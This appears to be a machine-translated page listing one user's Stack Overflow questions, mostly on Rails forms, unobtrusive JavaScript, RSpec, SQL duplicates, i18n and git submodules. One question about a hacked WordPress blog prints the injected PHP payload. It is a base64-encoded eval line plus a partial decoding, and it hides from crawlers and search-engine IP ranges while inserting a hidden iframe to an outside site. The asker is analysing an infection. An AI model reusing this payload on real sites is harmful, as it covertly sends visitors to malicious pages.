小编nat*_*vda的帖子

Rails form_for:remote => true不调用js方法

我不知道为什么这不起作用,我正在学习rails并且我正在读一本书,它说这样做:

    <%= form_for([@article,@article.comments.new ], :remote=>true, :html => {:style=>'display: none;' }) do |f|%>
    <div class="field">
      <%=    f.label :name %>
      <%=    f.text_field :name %>
    </div>
    <div class="field">
      <%=    f.label :email %>
      <%=    f.text_field :email %>
    </div>
    <div class="field">
      <%=    f.label :body %>
      <%=    f.text_area :body %>
    </div>
    <%= f.submit %>
<% end %>
Run Code Online (Sandbox Code Playgroud)

但它不起作用,当我在firebug中检查请求时,url不会以.js结尾,你有什么想法吗?

ruby-on-rails ruby-on-rails-3

33
推荐指数
5
解决办法
4万
查看次数

rails最佳实践在哪里放置不引人注目的JavaScript

我的rails应用程序(全部是2.3.5)使用内联javascript,rjs,prototype和jquery的混合.让我们称之为学习或成长的痛苦.最近我越来越迷恋不引人注目的javascript.它使你的html干净,就像css清理它一样.

但我见过的大多数例子都是小例子,他们把所有javascript(jquery)放在application.js中

现在我有一个非常大的应用程序,我正在考虑如何构建我的js.我喜欢某种方式,我的脚本仍然靠近视图,所以我在想类似的东西

orders.html.erb
orders.js
Run Code Online (Sandbox Code Playgroud)

其中orders.js包含特定于该视图的不显眼的javascript.但也许这只是我过于保守:)

我看过耶胡达·卡茨一些职位,关于这个问题非常这里这里,他铲球这个问题.它将遍历您的js文件,并仅加载与您的视图相关的文件.但唉,我找不到当前的实现.

所以我的问题:

  • 你如何最好地构建你不引人注目的JavaScript; 管理你的代码,你如何确保从HTML中明显看出应该做什么.我想好的班级名字很长:)
  • 你如何安排你的文件,加载它们?一些?你是否使用content_for :scriptjavascript_include_tag在你的视图中加载相关的脚本.要么 ... ?
  • 你编写非常通用的函数(如删除),带参数(添加额外的属性?),还是编写非常具体的函数(DRY?).我知道在Rails 3中有一个标准集,并且那里的一切都不引人注目.但是如何从Rails 2.3.5开始呢?

简而言之:在rails中执行不显眼的javascript的最佳做法是什么?:)

javascript ruby jquery ruby-on-rails unobtrusive-javascript

31
推荐指数
1
解决办法
3029
查看次数

rails3 rails.js和jquery捕获ajax请求的成功和失败

以前,在rails 2.3.8中我使用了原型助手link_to_remoteform_remote_for(其中包括).

这些选项:update如下:

link_to_remote "Add to cart",
  :url => { :action => "add", :id => product.id },
  :update => { :success => "cart", :failure => "error" }
Run Code Online (Sandbox Code Playgroud)

(文档中的一个例子).这个例子在成功更新带有"cart"类的html元素时,失败后会出现类"错误".

现在我相信作案手法已经改变了,而是我们写道:

link_to "Add to cart", :url => {:action => "add", :id => product.id}, 
    :remote => true
Run Code Online (Sandbox Code Playgroud)

并且没有选项可以再设置:update了.而不是普通的html,我们现在渲染javascript,就像这样(在jquery中):

$('.cart').replaceWith(<%= escape_javascript(render :partial => 'cart') %>)
Run Code Online (Sandbox Code Playgroud)

但是你如何处理错误情况呢?我是否在控制器中处理它,并使用单独的视图?

以某种方式能够模仿我们之前的行为似乎对我有用.有任何想法吗?

ajax jquery ruby-on-rails ruby-on-rails-3

25
推荐指数
1
解决办法
2万
查看次数

Rails,如何通过created_at对活动记录数组进行排序

嗨,我有2个数组有不同的活动记录值来自同一个表,但有不同的值,我想结合两者然后排序created_at,但没有得到任何线索,我被卡住了.请帮忙.

这是我的代码:

@find_user = EmployeeLeave.where(global_user_id: @allarray[i]).find(:all)
@all << @find_user
@find_referal_user = EmployeeLeave.where(referral_id: @allarray[i]).find(:all)
@all_entry << @find_referal_user
@total = @all + @all_entry
Run Code Online (Sandbox Code Playgroud)

任何事情都不起作用请帮助我排序@total.

sorting activerecord ruby-on-rails

13
推荐指数
3
解决办法
1万
查看次数

加速rspec控制器测试:在所有失败之前使用?

我有一个简单的控制器测试,包含以下代码:

context "POST :create" do
  before (:each) do
    post :create, :user_id => @user.id,
         :account => { .. some data ... }
  end
  it { response.status.should == 201 }
  it { response.location.should be_present }
end
Run Code Online (Sandbox Code Playgroud)

现在我想到了一种非常简单的方法来加速这个测试,并使用一个before(:all)而不是一个before(:each).在这种情况下,帖子只会做一次.

所以我写道:

context "POST :create" do
  before (:all) do
    post :create, :user_id => @user.id,
         :account => { .. some data ... }
  end
  it { response.status.should == 201 }
  it { response.location.should be_present }
end
Run Code Online (Sandbox Code Playgroud)

但后来我收到以下错误:

 RuntimeError:
   @routes is nil: make sure …
Run Code Online (Sandbox Code Playgroud)

rspec ruby-on-rails rspec2

12
推荐指数
1
解决办法
2353
查看次数

wordpress hacked: what does this script actually do?

I maintain three wordpress blogs, and yesterday-morning, they were all hacked. Inside all my index.php the first line looked as follows:

<?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGlmcmFtZSBzcmM9Imh0dHA6Ly93dW1wZWFycG15LmN6LmNjL2dvLzEiIHdpZHRoPSIxIiBoZWlnaHQ9IjEiPjwvaWZyYW1lPic7DQp9'))
Run Code Online (Sandbox Code Playgroud)

Aside from fixing it (which seems to have worked), I am wondering what it does, and to what purpose.

So I decoded the inserted code:

error_reporting(0);
$bot = FALSE ;
$user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api');
$stop_ips_masks = array(
    array("216.239.32.0","216.239.63.255"),
    array("64.68.80.0"  ,"64.68.87.255"  ),
    array("66.102.0.0",  "66.102.15.255"),
    array("64.233.160.0","64.233.191.255"),
    array("66.249.64.0", "66.249.95.255"),
    array("72.14.192.0", "72.14.255.255"),
    array("209.85.128.0","209.85.255.255"),
    array("198.108.100.192","198.108.100.207"),
    array("173.194.0.0","173.194.255.255"),
    array("216.33.229.144","216.33.229.151"),
    array("216.33.229.160","216.33.229.167"), …
Run Code Online (Sandbox Code Playgroud)

javascript security deobfuscation

10
推荐指数
1
解决办法
990
查看次数

如何有效地选择所有重复项

我想选择具有表中已存在的值的所有行.我找不到更好的解决方案

select * 
from provisioning_requests tt 
where code in (select code 
               from provisioning_requests tt2 
               where tt2.id <> tt.id)
Run Code Online (Sandbox Code Playgroud)

这似乎有点幼稚.有人有更好的解决方案吗?

sql postgresql

10
推荐指数
2
解决办法
1万
查看次数

rails3 I18n:无法覆盖"1错误禁止保存此数据包:"

当我在模型包上出现错误时,我总是看到第一行(英语=未翻译):

1 error prohibited this packet from being saved:
Naam Gelieve het veld Naam in te vullen!
Run Code Online (Sandbox Code Playgroud)

找到单个字段的错误的翻译!

虽然我有以下内容 nl.yml

nl:

  activemodel:
    errors:
      template:
        header:
          one:   "1 fout voorkwam dat dit %{model} kon bewaard worden"
          other: "%{count} fouten voorkwamen dat deze %{model} kon bewaard worden"
        body:    "Er waren problemen met de volgende velden:"

  errors:
    template:
      body: "Controleer alstublieft de volgende velden:"
      header:
        one: "Kon dit {{model}} object niet opslaan: 1 fout."
        other: "Kon dit {{model}} niet opslaan: {{count}} fouten."

  activerecord: …
Run Code Online (Sandbox Code Playgroud)

internationalization ruby-on-rails-3

8
推荐指数
1
解决办法
2471
查看次数

rails多态关联(遗留数据库)

我正在使用遗留数据库,因此我无法控制数据模型.他们使用了很多多态链接/连接表,就像这样

create table person(per_ident, name, ...)

create table person_links(per_ident, obj_name, obj_r_ident)

create table report(rep_ident, name, ...)
Run Code Online (Sandbox Code Playgroud)

obj_nametable-name 在哪里,obj_r_ident是标识符.所以链接的报告将插入如下:

insert into person(1, ...)
insert into report(1, ...)
insert into report(2, ...)

insert into person_links(1, 'REPORT', 1)
insert into person_links(1, 'REPORT', 2)
Run Code Online (Sandbox Code Playgroud)

然后,人1将有2个链接报告,1和2.

我可以理解像这样的数据模型可能带来的好处,但我主要看到一个很大的缺点:使用约束不可能确保数据完整性.但是,唉,我不能再改变它了.

但是要在Rails中使用它,我正在寻找多态关联,但没有找到一个很好的方法来解决这个问题(因为我不能改变列名,并且没有找到办法做到这一点).

我确实提出了一个解决方案.请提供建议.

class Person < ActiveRecord::Base

  set_primary_key "per_ident"
  set_table_name "person"
  has_and_belongs_to_many :reports,
                         :join_table => "person_links",
                         :foreign_key => "per_ident",
                         :association_foreign_key => "obj_r_ident",
                         :conditions => "OBJ_NAME='REPORT'"
end

class Report < ActiveRecord::Base

  set_primary_key "rep_ident"
  set_table_name "report"
  has_and_belongs_to_many :persons, …
Run Code Online (Sandbox Code Playgroud)

ruby ruby-on-rails polymorphic-associations

5
推荐指数
2
解决办法
3788
查看次数

git:在处理子模块时如何很好地将更改恢复为master

我使用本博客文章中描述的git工作流程.简而言之:每个人都在他/她自己的分支内部发展,在合并回主人之前,你再次将你的分支变为掌握以获得干净的历史.

这有效.

现在我们有一个子模块,因为这是一个内部插件(Rails),我们需要经常更改它.所以大多数时候我在一般分支和子模块分支都有变化.

如上所述,在工作流中使用子模块的最佳方法是什么.

我首先尝试将我的更改推送到子模块(git checkout master,git pull,git checkout branch,git rebase master,git checkout master,git merge branch).

然后,当我尝试为我的root做同样的事情时,我总是在我的插件(子模块)上出错.在做之前我必须解决错误git rebase --continue.因此,如果git mergetool我尝试将我的文件夹转换为文件.

在rebase结束后,我只是恢复<folder_name>.orig以覆盖文件<folder_name>,一切都很好.

但不知何故,它觉得应该有更好的方法.

简而言之:当通过checkout-b/rebase/merge - 工作流工作时,如何同时处理更改的子模块?

git ruby-on-rails

5
推荐指数
1
解决办法
362
查看次数